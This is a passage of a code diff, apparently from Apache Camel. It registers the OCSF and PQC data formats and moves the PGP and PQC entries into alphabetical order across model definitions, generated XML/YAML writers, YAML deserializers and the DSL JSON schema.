MimeMultipartDataFormat.class),
@XmlElement(name = "ocsf", type = OcsfDataFormat.class),
@XmlElement(name = "parquetAvro", type =
ParquetAvroDataFormat.class),
+ @XmlElement(name = "pgp", type = PGPDataFormat.class),
+ @XmlElement(name = "pqc", type = PQCDataFormat.class),
@XmlElement(name = "protobuf", type = ProtobufDataFormat.class),
@XmlElement(name = "rss", type = RssDataFormat.class),
@XmlElement(name = "smooks", type = SmooksDataFormat.class),
@@ -123,8 +125,6 @@ public class MarshalDefinition extends
NoOutputDefinition<MarshalDefinition> imp
@XmlElement(name = "univocityFixed", type =
UniVocityFixedDataFormat.class),
@XmlElement(name = "univocityTsv", type =
UniVocityTsvDataFormat.class),
@XmlElement(name = "xmlSecurity", type =
XMLSecurityDataFormat.class),
- @XmlElement(name = "pgp", type = PGPDataFormat.class),
- @XmlElement(name = "pqc", type = PQCDataFormat.class),
@XmlElement(name = "yaml", type = YAMLDataFormat.class),
@XmlElement(name = "zipDeflater", type =
ZipDeflaterDataFormat.class),
@XmlElement(name = "zipFile", type = ZipFileDataFormat.class) })
diff --git
a/core/camel-core-model/src/main/java/org/apache/camel/model/UnmarshalDefinition.java
b/core/camel-core-model/src/main/java/org/apache/camel/model/UnmarshalDefinition.java
index f40c8fafcd32..f4077d35f087 100644
---
a/core/camel-core-model/src/main/java/org/apache/camel/model/UnmarshalDefinition.java
+++
b/core/camel-core-model/src/main/java/org/apache/camel/model/UnmarshalDefinition.java
@@ -110,6 +110,8 @@ public class UnmarshalDefinition extends
NoOutputDefinition<UnmarshalDefinition>
@XmlElement(name = "mimeMultipart", type =
MimeMultipartDataFormat.class),
@XmlElement(name = "ocsf", type = OcsfDataFormat.class),
@XmlElement(name = "parquetAvro", type =
ParquetAvroDataFormat.class),
+ @XmlElement(name = "pgp", type = PGPDataFormat.class),
+ @XmlElement(name = "pqc", type = PQCDataFormat.class),
@XmlElement(name = "protobuf", type = ProtobufDataFormat.class),
@XmlElement(name = "rss", type = RssDataFormat.class),
@XmlElement(name = "smooks", type = SmooksDataFormat.class),
@@ -123,8 +125,6 @@ public class UnmarshalDefinition extends
NoOutputDefinition<UnmarshalDefinition>
@XmlElement(name = "univocityFixed", type =
UniVocityFixedDataFormat.class),
@XmlElement(name = "univocityTsv", type =
UniVocityTsvDataFormat.class),
@XmlElement(name = "xmlSecurity", type =
XMLSecurityDataFormat.class),
- @XmlElement(name = "pgp", type = PGPDataFormat.class),
- @XmlElement(name = "pqc", type = PQCDataFormat.class),
@XmlElement(name = "yaml", type = YAMLDataFormat.class),
@XmlElement(name = "zipDeflater", type =
ZipDeflaterDataFormat.class),
@XmlElement(name = "zipFile", type = ZipFileDataFormat.class) })
diff --git
a/core/camel-core-model/src/main/java/org/apache/camel/model/dataformat/DataFormatsDefinition.java
b/core/camel-core-model/src/main/java/org/apache/camel/model/dataformat/DataFormatsDefinition.java
index 57581cf8e896..0d9b6288e210 100644
---
a/core/camel-core-model/src/main/java/org/apache/camel/model/dataformat/DataFormatsDefinition.java
+++
b/core/camel-core-model/src/main/java/org/apache/camel/model/dataformat/DataFormatsDefinition.java
@@ -71,8 +71,10 @@ public class DataFormatsDefinition implements
CopyableDefinition<DataFormatsDefi
@XmlElement(name = "jsonApi", type = JsonApiDataFormat.class),
@XmlElement(name = "lzf", type = LZFDataFormat.class),
@XmlElement(name = "mimeMultipart", type =
MimeMultipartDataFormat.class),
+ @XmlElement(name = "ocsf", type = OcsfDataFormat.class),
@XmlElement(name = "parquetAvro", type =
ParquetAvroDataFormat.class),
@XmlElement(name = "pgp", type = PGPDataFormat.class),
+ @XmlElement(name = "pqc", type = PQCDataFormat.class),
@XmlElement(name = "protobuf", type = ProtobufDataFormat.class),
@XmlElement(name = "rss", type = RssDataFormat.class),
@XmlElement(name = "smooks", type = SmooksDataFormat.class),
diff --git
a/core/camel-core-model/src/main/java/org/apache/camel/model/transformer/DataFormatTransformerDefinition.java
b/core/camel-core-model/src/main/java/org/apache/camel/model/transformer/DataFormatTransformerDefinition.java
index 7e794428b1ec..31abd9fae6a2 100644
---
a/core/camel-core-model/src/main/java/org/apache/camel/model/transformer/DataFormatTransformerDefinition.java
+++
b/core/camel-core-model/src/main/java/org/apache/camel/model/transformer/DataFormatTransformerDefinition.java
@@ -50,7 +50,9 @@ import org.apache.camel.model.dataformat.JsonApiDataFormat;
import org.apache.camel.model.dataformat.JsonDataFormat;
import org.apache.camel.model.dataformat.LZFDataFormat;
import org.apache.camel.model.dataformat.MimeMultipartDataFormat;
+import org.apache.camel.model.dataformat.OcsfDataFormat;
import org.apache.camel.model.dataformat.PGPDataFormat;
+import org.apache.camel.model.dataformat.PQCDataFormat;
import org.apache.camel.model.dataformat.ParquetAvroDataFormat;
import org.apache.camel.model.dataformat.ProtobufDataFormat;
import org.apache.camel.model.dataformat.RssDataFormat;
@@ -108,7 +110,10 @@ public class DataFormatTransformerDefinition extends
TransformerDefinition {
@XmlElement(name = "jsonApi", type = JsonApiDataFormat.class),
@XmlElement(name = "lzf", type = LZFDataFormat.class),
@XmlElement(name = "mimeMultipart", type =
MimeMultipartDataFormat.class),
+ @XmlElement(name = "ocsf", type = OcsfDataFormat.class),
@XmlElement(name = "parquetAvro", type =
ParquetAvroDataFormat.class),
+ @XmlElement(name = "pgp", type = PGPDataFormat.class),
+ @XmlElement(name = "pqc", type = PQCDataFormat.class),
@XmlElement(name = "protobuf", type = ProtobufDataFormat.class),
@XmlElement(name = "rss", type = RssDataFormat.class),
@XmlElement(name = "smooks", type = SmooksDataFormat.class),
@@ -122,7 +127,6 @@ public class DataFormatTransformerDefinition extends
TransformerDefinition {
@XmlElement(name = "univocityFixed", type =
UniVocityFixedDataFormat.class),
@XmlElement(name = "univocityTsv", type =
UniVocityTsvDataFormat.class),
@XmlElement(name = "xmlSecurity", type =
XMLSecurityDataFormat.class),
- @XmlElement(name = "pgp", type = PGPDataFormat.class),
@XmlElement(name = "yaml", type = YAMLDataFormat.class),
@XmlElement(name = "zipDeflater", type =
ZipDeflaterDataFormat.class),
@XmlElement(name = "zipFile", type = ZipFileDataFormat.class) })
diff --git
a/core/camel-xml-io/src/generated/java/org/apache/camel/xml/out/ModelWriter.java
b/core/camel-xml-io/src/generated/java/org/apache/camel/xml/out/ModelWriter.java
index f5df0ebbdc2c..3694b0e391f5 100644
---
a/core/camel-xml-io/src/generated/java/org/apache/camel/xml/out/ModelWriter.java
+++
b/core/camel-xml-io/src/generated/java/org/apache/camel/xml/out/ModelWriter.java
@@ -1241,6 +1241,8 @@ public class ModelWriter extends BaseWriter {
case "MimeMultipartDataFormat" ->
doWriteMimeMultipartDataFormat("mimeMultipart", (MimeMultipartDataFormat) v);
case "OcsfDataFormat" -> doWriteOcsfDataFormat("ocsf",
(OcsfDataFormat) v);
case "ParquetAvroDataFormat" ->
doWriteParquetAvroDataFormat("parquetAvro", (ParquetAvroDataFormat) v);
+ case "PGPDataFormat" -> doWritePGPDataFormat("pgp",
(PGPDataFormat) v);
+ case "PQCDataFormat" -> doWritePQCDataFormat("pqc",
(PQCDataFormat) v);
case "ProtobufDataFormat" ->
doWriteProtobufDataFormat("protobuf", (ProtobufDataFormat) v);
case "RssDataFormat" -> doWriteRssDataFormat("rss",
(RssDataFormat) v);
case "SmooksDataFormat" -> doWriteSmooksDataFormat("smooks",
(SmooksDataFormat) v);
@@ -1254,8 +1256,6 @@ public class ModelWriter extends BaseWriter {
case "UniVocityFixedDataFormat" ->
doWriteUniVocityFixedDataFormat("univocityFixed", (UniVocityFixedDataFormat) v);
case "UniVocityTsvDataFormat" ->
doWriteUniVocityTsvDataFormat("univocityTsv", (UniVocityTsvDataFormat) v);
case "XMLSecurityDataFormat" ->
doWriteXMLSecurityDataFormat("xmlSecurity", (XMLSecurityDataFormat) v);
- case "PGPDataFormat" -> doWritePGPDataFormat("pgp",
(PGPDataFormat) v);
- case "PQCDataFormat" -> doWritePQCDataFormat("pqc",
(PQCDataFormat) v);
case "YAMLDataFormat" -> doWriteYAMLDataFormat("yaml",
(YAMLDataFormat) v);
case "ZipDeflaterDataFormat" ->
doWriteZipDeflaterDataFormat("zipDeflater", (ZipDeflaterDataFormat) v);
case "ZipFileDataFormat" ->
doWriteZipFileDataFormat("zipFile", (ZipFileDataFormat) v);
@@ -2006,6 +2006,8 @@ public class ModelWriter extends BaseWriter {
case "MimeMultipartDataFormat" ->
doWriteMimeMultipartDataFormat("mimeMultipart", (MimeMultipartDataFormat) v);
case "OcsfDataFormat" -> doWriteOcsfDataFormat("ocsf",
(OcsfDataFormat) v);
case "ParquetAvroDataFormat" ->
doWriteParquetAvroDataFormat("parquetAvro", (ParquetAvroDataFormat) v);
+ case "PGPDataFormat" -> doWritePGPDataFormat("pgp",
(PGPDataFormat) v);
+ case "PQCDataFormat" -> doWritePQCDataFormat("pqc",
(PQCDataFormat) v);
case "ProtobufDataFormat" ->
doWriteProtobufDataFormat("protobuf", (ProtobufDataFormat) v);
case "RssDataFormat" -> doWriteRssDataFormat("rss",
(RssDataFormat) v);
case "SmooksDataFormat" -> doWriteSmooksDataFormat("smooks",
(SmooksDataFormat) v);
@@ -2019,8 +2021,6 @@ public class ModelWriter extends BaseWriter {
case "UniVocityFixedDataFormat" ->
doWriteUniVocityFixedDataFormat("univocityFixed", (UniVocityFixedDataFormat) v);
case "UniVocityTsvDataFormat" ->
doWriteUniVocityTsvDataFormat("univocityTsv", (UniVocityTsvDataFormat) v);
case "XMLSecurityDataFormat" ->
doWriteXMLSecurityDataFormat("xmlSecurity", (XMLSecurityDataFormat) v);
- case "PGPDataFormat" -> doWritePGPDataFormat("pgp",
(PGPDataFormat) v);
- case "PQCDataFormat" -> doWritePQCDataFormat("pqc",
(PQCDataFormat) v);
case "YAMLDataFormat" -> doWriteYAMLDataFormat("yaml",
(YAMLDataFormat) v);
case "ZipDeflaterDataFormat" ->
doWriteZipDeflaterDataFormat("zipDeflater", (ZipDeflaterDataFormat) v);
case "ZipFileDataFormat" ->
doWriteZipFileDataFormat("zipFile", (ZipFileDataFormat) v);
@@ -2570,8 +2570,10 @@ public class ModelWriter extends BaseWriter {
case "JsonApiDataFormat" ->
doWriteJsonApiDataFormat("jsonApi", (JsonApiDataFormat) v);
case "LZFDataFormat" -> doWriteLZFDataFormat("lzf",
(LZFDataFormat) v);
case "MimeMultipartDataFormat" ->
doWriteMimeMultipartDataFormat("mimeMultipart", (MimeMultipartDataFormat) v);
+ case "OcsfDataFormat" -> doWriteOcsfDataFormat("ocsf",
(OcsfDataFormat) v);
case "ParquetAvroDataFormat" ->
doWriteParquetAvroDataFormat("parquetAvro", (ParquetAvroDataFormat) v);
case "PGPDataFormat" -> doWritePGPDataFormat("pgp",
(PGPDataFormat) v);
+ case "PQCDataFormat" -> doWritePQCDataFormat("pqc",
(PQCDataFormat) v);
case "ProtobufDataFormat" ->
doWriteProtobufDataFormat("protobuf", (ProtobufDataFormat) v);
case "RssDataFormat" -> doWriteRssDataFormat("rss",
(RssDataFormat) v);
case "SmooksDataFormat" -> doWriteSmooksDataFormat("smooks",
(SmooksDataFormat) v);
@@ -3740,7 +3742,10 @@ public class ModelWriter extends BaseWriter {
case "JsonApiDataFormat" ->
doWriteJsonApiDataFormat("jsonApi", (JsonApiDataFormat) v);
case "LZFDataFormat" -> doWriteLZFDataFormat("lzf",
(LZFDataFormat) v);
case "MimeMultipartDataFormat" ->
doWriteMimeMultipartDataFormat("mimeMultipart", (MimeMultipartDataFormat) v);
+ case "OcsfDataFormat" -> doWriteOcsfDataFormat("ocsf",
(OcsfDataFormat) v);
case "ParquetAvroDataFormat" ->
doWriteParquetAvroDataFormat("parquetAvro", (ParquetAvroDataFormat) v);
+ case "PGPDataFormat" -> doWritePGPDataFormat("pgp",
(PGPDataFormat) v);
+ case "PQCDataFormat" -> doWritePQCDataFormat("pqc",
(PQCDataFormat) v);
case "ProtobufDataFormat" ->
doWriteProtobufDataFormat("protobuf", (ProtobufDataFormat) v);
case "RssDataFormat" -> doWriteRssDataFormat("rss",
(RssDataFormat) v);
case "SmooksDataFormat" -> doWriteSmooksDataFormat("smooks",
(SmooksDataFormat) v);
@@ -3754,7 +3759,6 @@ public class ModelWriter extends BaseWriter {
case "UniVocityFixedDataFormat" ->
doWriteUniVocityFixedDataFormat("univocityFixed", (UniVocityFixedDataFormat) v);
case "UniVocityTsvDataFormat" ->
doWriteUniVocityTsvDataFormat("univocityTsv", (UniVocityTsvDataFormat) v);
case "XMLSecurityDataFormat" ->
doWriteXMLSecurityDataFormat("xmlSecurity", (XMLSecurityDataFormat) v);
- case "PGPDataFormat" -> doWritePGPDataFormat("pgp",
(PGPDataFormat) v);
case "YAMLDataFormat" -> doWriteYAMLDataFormat("yaml",
(YAMLDataFormat) v);
case "ZipDeflaterDataFormat" ->
doWriteZipDeflaterDataFormat("zipDeflater", (ZipDeflaterDataFormat) v);
case "ZipFileDataFormat" ->
doWriteZipFileDataFormat("zipFile", (ZipFileDataFormat) v);
diff --git
a/core/camel-yaml-io/src/generated/java/org/apache/camel/yaml/out/ModelWriter.java
b/core/camel-yaml-io/src/generated/java/org/apache/camel/yaml/out/ModelWriter.java
index c0c5cea6c2ad..bfe9b4979e8c 100644
---
a/core/camel-yaml-io/src/generated/java/org/apache/camel/yaml/out/ModelWriter.java
+++
b/core/camel-yaml-io/src/generated/java/org/apache/camel/yaml/out/ModelWriter.java
@@ -1241,6 +1241,8 @@ public class ModelWriter extends BaseWriter {
case "MimeMultipartDataFormat" ->
doWriteMimeMultipartDataFormat("mimeMultipart", (MimeMultipartDataFormat) v);
case "OcsfDataFormat" -> doWriteOcsfDataFormat("ocsf",
(OcsfDataFormat) v);
case "ParquetAvroDataFormat" ->
doWriteParquetAvroDataFormat("parquetAvro", (ParquetAvroDataFormat) v);
+ case "PGPDataFormat" -> doWritePGPDataFormat("pgp",
(PGPDataFormat) v);
+ case "PQCDataFormat" -> doWritePQCDataFormat("pqc",
(PQCDataFormat) v);
case "ProtobufDataFormat" ->
doWriteProtobufDataFormat("protobuf", (ProtobufDataFormat) v);
case "RssDataFormat" -> doWriteRssDataFormat("rss",
(RssDataFormat) v);
case "SmooksDataFormat" -> doWriteSmooksDataFormat("smooks",
(SmooksDataFormat) v);
@@ -1254,8 +1256,6 @@ public class ModelWriter extends BaseWriter {
case "UniVocityFixedDataFormat" ->
doWriteUniVocityFixedDataFormat("univocityFixed", (UniVocityFixedDataFormat) v);
case "UniVocityTsvDataFormat" ->
doWriteUniVocityTsvDataFormat("univocityTsv", (UniVocityTsvDataFormat) v);
case "XMLSecurityDataFormat" ->
doWriteXMLSecurityDataFormat("xmlSecurity", (XMLSecurityDataFormat) v);
- case "PGPDataFormat" -> doWritePGPDataFormat("pgp",
(PGPDataFormat) v);
- case "PQCDataFormat" -> doWritePQCDataFormat("pqc",
(PQCDataFormat) v);
case "YAMLDataFormat" -> doWriteYAMLDataFormat("yaml",
(YAMLDataFormat) v);
case "ZipDeflaterDataFormat" ->
doWriteZipDeflaterDataFormat("zipDeflater", (ZipDeflaterDataFormat) v);
case "ZipFileDataFormat" ->
doWriteZipFileDataFormat("zipFile", (ZipFileDataFormat) v);
@@ -2006,6 +2006,8 @@ public class ModelWriter extends BaseWriter {
case "MimeMultipartDataFormat" ->
doWriteMimeMultipartDataFormat("mimeMultipart", (MimeMultipartDataFormat) v);
case "OcsfDataFormat" -> doWriteOcsfDataFormat("ocsf",
(OcsfDataFormat) v);
case "ParquetAvroDataFormat" ->
doWriteParquetAvroDataFormat("parquetAvro", (ParquetAvroDataFormat) v);
+ case "PGPDataFormat" -> doWritePGPDataFormat("pgp",
(PGPDataFormat) v);
+ case "PQCDataFormat" -> doWritePQCDataFormat("pqc",
(PQCDataFormat) v);
case "ProtobufDataFormat" ->
doWriteProtobufDataFormat("protobuf", (ProtobufDataFormat) v);
case "RssDataFormat" -> doWriteRssDataFormat("rss",
(RssDataFormat) v);
case "SmooksDataFormat" -> doWriteSmooksDataFormat("smooks",
(SmooksDataFormat) v);
@@ -2019,8 +2021,6 @@ public class ModelWriter extends BaseWriter {
case "UniVocityFixedDataFormat" ->
doWriteUniVocityFixedDataFormat("univocityFixed", (UniVocityFixedDataFormat) v);
case "UniVocityTsvDataFormat" ->
doWriteUniVocityTsvDataFormat("univocityTsv", (UniVocityTsvDataFormat) v);
case "XMLSecurityDataFormat" ->
doWriteXMLSecurityDataFormat("xmlSecurity", (XMLSecurityDataFormat) v);
- case "PGPDataFormat" -> doWritePGPDataFormat("pgp",
(PGPDataFormat) v);
- case "PQCDataFormat" -> doWritePQCDataFormat("pqc",
(PQCDataFormat) v);
case "YAMLDataFormat" -> doWriteYAMLDataFormat("yaml",
(YAMLDataFormat) v);
case "ZipDeflaterDataFormat" ->
doWriteZipDeflaterDataFormat("zipDeflater", (ZipDeflaterDataFormat) v);
case "ZipFileDataFormat" ->
doWriteZipFileDataFormat("zipFile", (ZipFileDataFormat) v);
@@ -2570,8 +2570,10 @@ public class ModelWriter extends BaseWriter {
case "JsonApiDataFormat" ->
doWriteJsonApiDataFormat("jsonApi", (JsonApiDataFormat) v);
case "LZFDataFormat" -> doWriteLZFDataFormat("lzf",
(LZFDataFormat) v);
case "MimeMultipartDataFormat" ->
doWriteMimeMultipartDataFormat("mimeMultipart", (MimeMultipartDataFormat) v);
+ case "OcsfDataFormat" -> doWriteOcsfDataFormat("ocsf",
(OcsfDataFormat) v);
case "ParquetAvroDataFormat" ->
doWriteParquetAvroDataFormat("parquetAvro", (ParquetAvroDataFormat) v);
case "PGPDataFormat" -> doWritePGPDataFormat("pgp",
(PGPDataFormat) v);
+ case "PQCDataFormat" -> doWritePQCDataFormat("pqc",
(PQCDataFormat) v);
case "ProtobufDataFormat" ->
doWriteProtobufDataFormat("protobuf", (ProtobufDataFormat) v);
case "RssDataFormat" -> doWriteRssDataFormat("rss",
(RssDataFormat) v);
case "SmooksDataFormat" -> doWriteSmooksDataFormat("smooks",
(SmooksDataFormat) v);
@@ -3740,7 +3742,10 @@ public class ModelWriter extends BaseWriter {
case "JsonApiDataFormat" ->
doWriteJsonApiDataFormat("jsonApi", (JsonApiDataFormat) v);
case "LZFDataFormat" -> doWriteLZFDataFormat("lzf",
(LZFDataFormat) v);
case "MimeMultipartDataFormat" ->
doWriteMimeMultipartDataFormat("mimeMultipart", (MimeMultipartDataFormat) v);
+ case "OcsfDataFormat" -> doWriteOcsfDataFormat("ocsf",
(OcsfDataFormat) v);
case "ParquetAvroDataFormat" ->
doWriteParquetAvroDataFormat("parquetAvro", (ParquetAvroDataFormat) v);
+ case "PGPDataFormat" -> doWritePGPDataFormat("pgp",
(PGPDataFormat) v);
+ case "PQCDataFormat" -> doWritePQCDataFormat("pqc",
(PQCDataFormat) v);
case "ProtobufDataFormat" ->
doWriteProtobufDataFormat("protobuf", (ProtobufDataFormat) v);
case "RssDataFormat" -> doWriteRssDataFormat("rss",
(RssDataFormat) v);
case "SmooksDataFormat" -> doWriteSmooksDataFormat("smooks",
(SmooksDataFormat) v);
@@ -3754,7 +3759,6 @@ public class ModelWriter extends BaseWriter {
case "UniVocityFixedDataFormat" ->
doWriteUniVocityFixedDataFormat("univocityFixed", (UniVocityFixedDataFormat) v);
case "UniVocityTsvDataFormat" ->
doWriteUniVocityTsvDataFormat("univocityTsv", (UniVocityTsvDataFormat) v);
case "XMLSecurityDataFormat" ->
doWriteXMLSecurityDataFormat("xmlSecurity", (XMLSecurityDataFormat) v);
- case "PGPDataFormat" -> doWritePGPDataFormat("pgp",
(PGPDataFormat) v);
case "YAMLDataFormat" -> doWriteYAMLDataFormat("yaml",
(YAMLDataFormat) v);
case "ZipDeflaterDataFormat" ->
doWriteZipDeflaterDataFormat("zipDeflater", (ZipDeflaterDataFormat) v);
case "ZipFileDataFormat" ->
doWriteZipFileDataFormat("zipFile", (ZipFileDataFormat) v);
diff --git
a/dsl/camel-yaml-dsl/camel-yaml-dsl-deserializers/src/generated/java/org/apache/camel/dsl/yaml/deserializers/ModelDeserializers.java
b/dsl/camel-yaml-dsl/camel-yaml-dsl-deserializers/src/generated/java/org/apache/camel/dsl/yaml/deserializers/ModelDeserializers.java
index 1029134be5bb..b682236ce98c 100644
---
a/dsl/camel-yaml-dsl/camel-yaml-dsl-deserializers/src/generated/java/org/apache/camel/dsl/yaml/deserializers/ModelDeserializers.java
+++
b/dsl/camel-yaml-dsl/camel-yaml-dsl-deserializers/src/generated/java/org/apache/camel/dsl/yaml/deserializers/ModelDeserializers.java
@@ -3598,8 +3598,10 @@ public final class ModelDeserializers extends
YamlDeserializerSupport {
@YamlProperty(name = "lzf", type =
"object:org.apache.camel.model.dataformat.LZFDataFormat", oneOf =
"dataFormatType"),
@YamlProperty(name = "mimeMultipart", type =
"object:org.apache.camel.model.dataformat.MimeMultipartDataFormat", oneOf =
"dataFormatType"),
@YamlProperty(name = "name", type = "string", description
= "Set the transformer name under which the transformer gets referenced when
specifying the input/output data type on routes. If you specify a transformer
name that matches a data type scheme like 'csv' the transformer will be picked
up for all of 'csv:' from/to Java transformation. Note that the scheme matching
is performed only when no exactly matched transformer exists.", displayName =
"Name"),
+ @YamlProperty(name = "ocsf", type =
"object:org.apache.camel.model.dataformat.OcsfDataFormat", oneOf =
"dataFormatType"),
@YamlProperty(name = "parquetAvro", type =
"object:org.apache.camel.model.dataformat.ParquetAvroDataFormat", oneOf =
"dataFormatType"),
@YamlProperty(name = "pgp", type =
"object:org.apache.camel.model.dataformat.PGPDataFormat", oneOf =
"dataFormatType"),
+ @YamlProperty(name = "pqc", type =
"object:org.apache.camel.model.dataformat.PQCDataFormat", oneOf =
"dataFormatType"),
@YamlProperty(name = "protobuf", type =
"object:org.apache.camel.model.dataformat.ProtobufDataFormat", oneOf =
"dataFormatType"),
@YamlProperty(name = "rss", type =
"object:org.apache.camel.model.dataformat.RssDataFormat", oneOf =
"dataFormatType"),
@YamlProperty(name = "scheme", type = "string",
description = "Set a scheme name supported by the transformer. If you specify
'csv', the transformer will be picked up for all of 'csv' from/to Java
transformation. Note that the scheme matching is performed only when no exactly
matched transformer exists.", displayName = "Scheme"),
@@ -3775,11 +3777,26 @@ public final class ModelDeserializers extends
YamlDeserializerSupport {
target.setDataFormatType(val);
break;
}
+ case "ocsf": {
+ org.apache.camel.model.dataformat.OcsfDataFormat val =
asType(node, org.apache.camel.model.dataformat.OcsfDataFormat.class);
+ target.setDataFormatType(val);
+ break;
+ }
case "parquetAvro": {
org.apache.camel.model.dataformat.ParquetAvroDataFormat
val = asType(node,
org.apache.camel.model.dataformat.ParquetAvroDataFormat.class);
target.setDataFormatType(val);
break;
}
+ case "pgp": {
+ org.apache.camel.model.dataformat.PGPDataFormat val =
asType(node, org.apache.camel.model.dataformat.PGPDataFormat.class);
+ target.setDataFormatType(val);
+ break;
+ }
+ case "pqc": {
+ org.apache.camel.model.dataformat.PQCDataFormat val =
asType(node, org.apache.camel.model.dataformat.PQCDataFormat.class);
+ target.setDataFormatType(val);
+ break;
+ }
case "protobuf": {
org.apache.camel.model.dataformat.ProtobufDataFormat val =
asType(node, org.apache.camel.model.dataformat.ProtobufDataFormat.class);
target.setDataFormatType(val);
@@ -3845,11 +3862,6 @@ public final class ModelDeserializers extends
YamlDeserializerSupport {
target.setDataFormatType(val);
break;
}
- case "pgp": {
- org.apache.camel.model.dataformat.PGPDataFormat val =
asType(node, org.apache.camel.model.dataformat.PGPDataFormat.class);
- target.setDataFormatType(val);
- break;
- }
case "yaml": {
org.apache.camel.model.dataformat.YAMLDataFormat val =
asType(node, org.apache.camel.model.dataformat.YAMLDataFormat.class);
target.setDataFormatType(val);
@@ -3928,8 +3940,10 @@ public final class ModelDeserializers extends
YamlDeserializerSupport {
@YamlProperty(name = "jsonApi", type =
"object:org.apache.camel.model.dataformat.JsonApiDataFormat"),
@YamlProperty(name = "lzf", type =
"object:org.apache.camel.model.dataformat.LZFDataFormat"),
@YamlProperty(name = "mimeMultipart", type =
"object:org.apache.camel.model.dataformat.MimeMultipartDataFormat"),
+ @YamlProperty(name = "ocsf", type =
"object:org.apache.camel.model.dataformat.OcsfDataFormat"),
@YamlProperty(name = "parquetAvro", type =
"object:org.apache.camel.model.dataformat.ParquetAvroDataFormat"),
@YamlProperty(name = "pgp", type =
"object:org.apache.camel.model.dataformat.PGPDataFormat"),
+ @YamlProperty(name = "pqc", type =
"object:org.apache.camel.model.dataformat.PQCDataFormat"),
@YamlProperty(name = "protobuf", type =
"object:org.apache.camel.model.dataformat.ProtobufDataFormat"),
@YamlProperty(name = "rss", type =
"object:org.apache.camel.model.dataformat.RssDataFormat"),
@YamlProperty(name = "smooks", type =
"object:org.apache.camel.model.dataformat.SmooksDataFormat"),
@@ -4238,6 +4252,16 @@ public final class ModelDeserializers extends
YamlDeserializerSupport {
target.setDataFormats(existing);
break;
}
+ case "ocsf": {
+ org.apache.camel.model.dataformat.OcsfDataFormat val =
asType(node, org.apache.camel.model.dataformat.OcsfDataFormat.class);
+
java.util.List<org.apache.camel.model.DataFormatDefinition> existing =
target.getDataFormats();
+ if (existing == null) {
+ existing = new java.util.ArrayList<>();
+ }
+ existing.add(val);
+ target.setDataFormats(existing);
+ break;
+ }
case "parquetAvro": {
org.apache.camel.model.dataformat.ParquetAvroDataFormat
val = asType(node,
org.apache.camel.model.dataformat.ParquetAvroDataFormat.class);
java.util.List<org.apache.camel.model.DataFormatDefinition> existing =
target.getDataFormats();
@@ -4258,6 +4282,16 @@ public final class ModelDeserializers extends
YamlDeserializerSupport {
target.setDataFormats(existing);
break;
}
+ case "pqc": {
+ org.apache.camel.model.dataformat.PQCDataFormat val =
asType(node, org.apache.camel.model.dataformat.PQCDataFormat.class);
+
java.util.List<org.apache.camel.model.DataFormatDefinition> existing =
target.getDataFormats();
+ if (existing == null) {
+ existing = new java.util.ArrayList<>();
+ }
+ existing.add(val);
+ target.setDataFormats(existing);
+ break;
+ }
case "protobuf": {
org.apache.camel.model.dataformat.ProtobufDataFormat val =
asType(node, org.apache.camel.model.dataformat.ProtobufDataFormat.class);
java.util.List<org.apache.camel.model.DataFormatDefinition> existing =
target.getDataFormats();
@@ -10175,6 +10209,16 @@ public final class ModelDeserializers extends
YamlDeserializerSupport {
target.setDataFormatType(val);
break;
}
+ case "pgp": {
+ org.apache.camel.model.dataformat.PGPDataFormat val =
asType(node, org.apache.camel.model.dataformat.PGPDataFormat.class);
+ target.setDataFormatType(val);
+ break;
+ }
+ case "pqc": {
+ org.apache.camel.model.dataformat.PQCDataFormat val =
asType(node, org.apache.camel.model.dataformat.PQCDataFormat.class);
+ target.setDataFormatType(val);
+ break;
+ }
case "protobuf": {
org.apache.camel.model.dataformat.ProtobufDataFormat val =
asType(node, org.apache.camel.model.dataformat.ProtobufDataFormat.class);
target.setDataFormatType(val);
@@ -10240,16 +10284,6 @@ public final class ModelDeserializers extends
YamlDeserializerSupport {
target.setDataFormatType(val);
break;
}
- case "pgp": {
- org.apache.camel.model.dataformat.PGPDataFormat val =
asType(node, org.apache.camel.model.dataformat.PGPDataFormat.class);
- target.setDataFormatType(val);
- break;
- }
- case "pqc": {
- org.apache.camel.model.dataformat.PQCDataFormat val =
asType(node, org.apache.camel.model.dataformat.PQCDataFormat.class);
- target.setDataFormatType(val);
- break;
- }
case "yaml": {
org.apache.camel.model.dataformat.YAMLDataFormat val =
asType(node, org.apache.camel.model.dataformat.YAMLDataFormat.class);
target.setDataFormatType(val);
@@ -20901,6 +20935,16 @@ public final class ModelDeserializers extends
YamlDeserializerSupport {
target.setDataFormatType(val);
break;
}
+ case "pgp": {
+ org.apache.camel.model.dataformat.PGPDataFormat val =
asType(node, org.apache.camel.model.dataformat.PGPDataFormat.class);
+ target.setDataFormatType(val);
+ break;
+ }
+ case "pqc": {
+ org.apache.camel.model.dataformat.PQCDataFormat val =
asType(node, org.apache.camel.model.dataformat.PQCDataFormat.class);
+ target.setDataFormatType(val);
+ break;
+ }
case "protobuf": {
org.apache.camel.model.dataformat.ProtobufDataFormat val =
asType(node, org.apache.camel.model.dataformat.ProtobufDataFormat.class);
target.setDataFormatType(val);
@@ -20966,16 +21010,6 @@ public final class ModelDeserializers extends
YamlDeserializerSupport {
target.setDataFormatType(val);
break;
}
- case "pgp": {
- org.apache.camel.model.dataformat.PGPDataFormat val =
asType(node, org.apache.camel.model.dataformat.PGPDataFormat.class);
- target.setDataFormatType(val);
- break;
- }
- case "pqc": {
- org.apache.camel.model.dataformat.PQCDataFormat val =
asType(node, org.apache.camel.model.dataformat.PQCDataFormat.class);
- target.setDataFormatType(val);
- break;
- }
case "yaml": {
org.apache.camel.model.dataformat.YAMLDataFormat val =
asType(node, org.apache.camel.model.dataformat.YAMLDataFormat.class);
target.setDataFormatType(val);
diff --git
a/dsl/camel-yaml-dsl/camel-yaml-dsl/src/generated/resources/schema/camelYamlDsl.json
b/dsl/camel-yaml-dsl/camel-yaml-dsl/src/generated/resources/schema/camelYamlDsl.json
index d736cb347d68..a2d5e3f5b63f 100644
---
a/dsl/camel-yaml-dsl/camel-yaml-dsl/src/generated/resources/schema/camelYamlDsl.json
+++
b/dsl/camel-yaml-dsl/camel-yaml-dsl/src/generated/resources/schema/camelYamlDsl.json
@@ -11372,12 +11372,18 @@
"mimeMultipart" : {
"$ref" :
"#/items/definitions/org.apache.camel.model.dataformat.MimeMultipartDataFormat"
},
+ "ocsf" : {
+ "$ref" :
"#/items/definitions/org.apache.camel.model.dataformat.OcsfDataFormat"
+ },
"parquetAvro" : {
"$ref" :
"#/items/definitions/org.apache.camel.model.dataformat.ParquetAvroDataFormat"
},
"pgp" : {
"$ref" :
"#/items/definitions/org.apache.camel.model.dataformat.PGPDataFormat"
},
+ "pqc" : {
+ "$ref" :
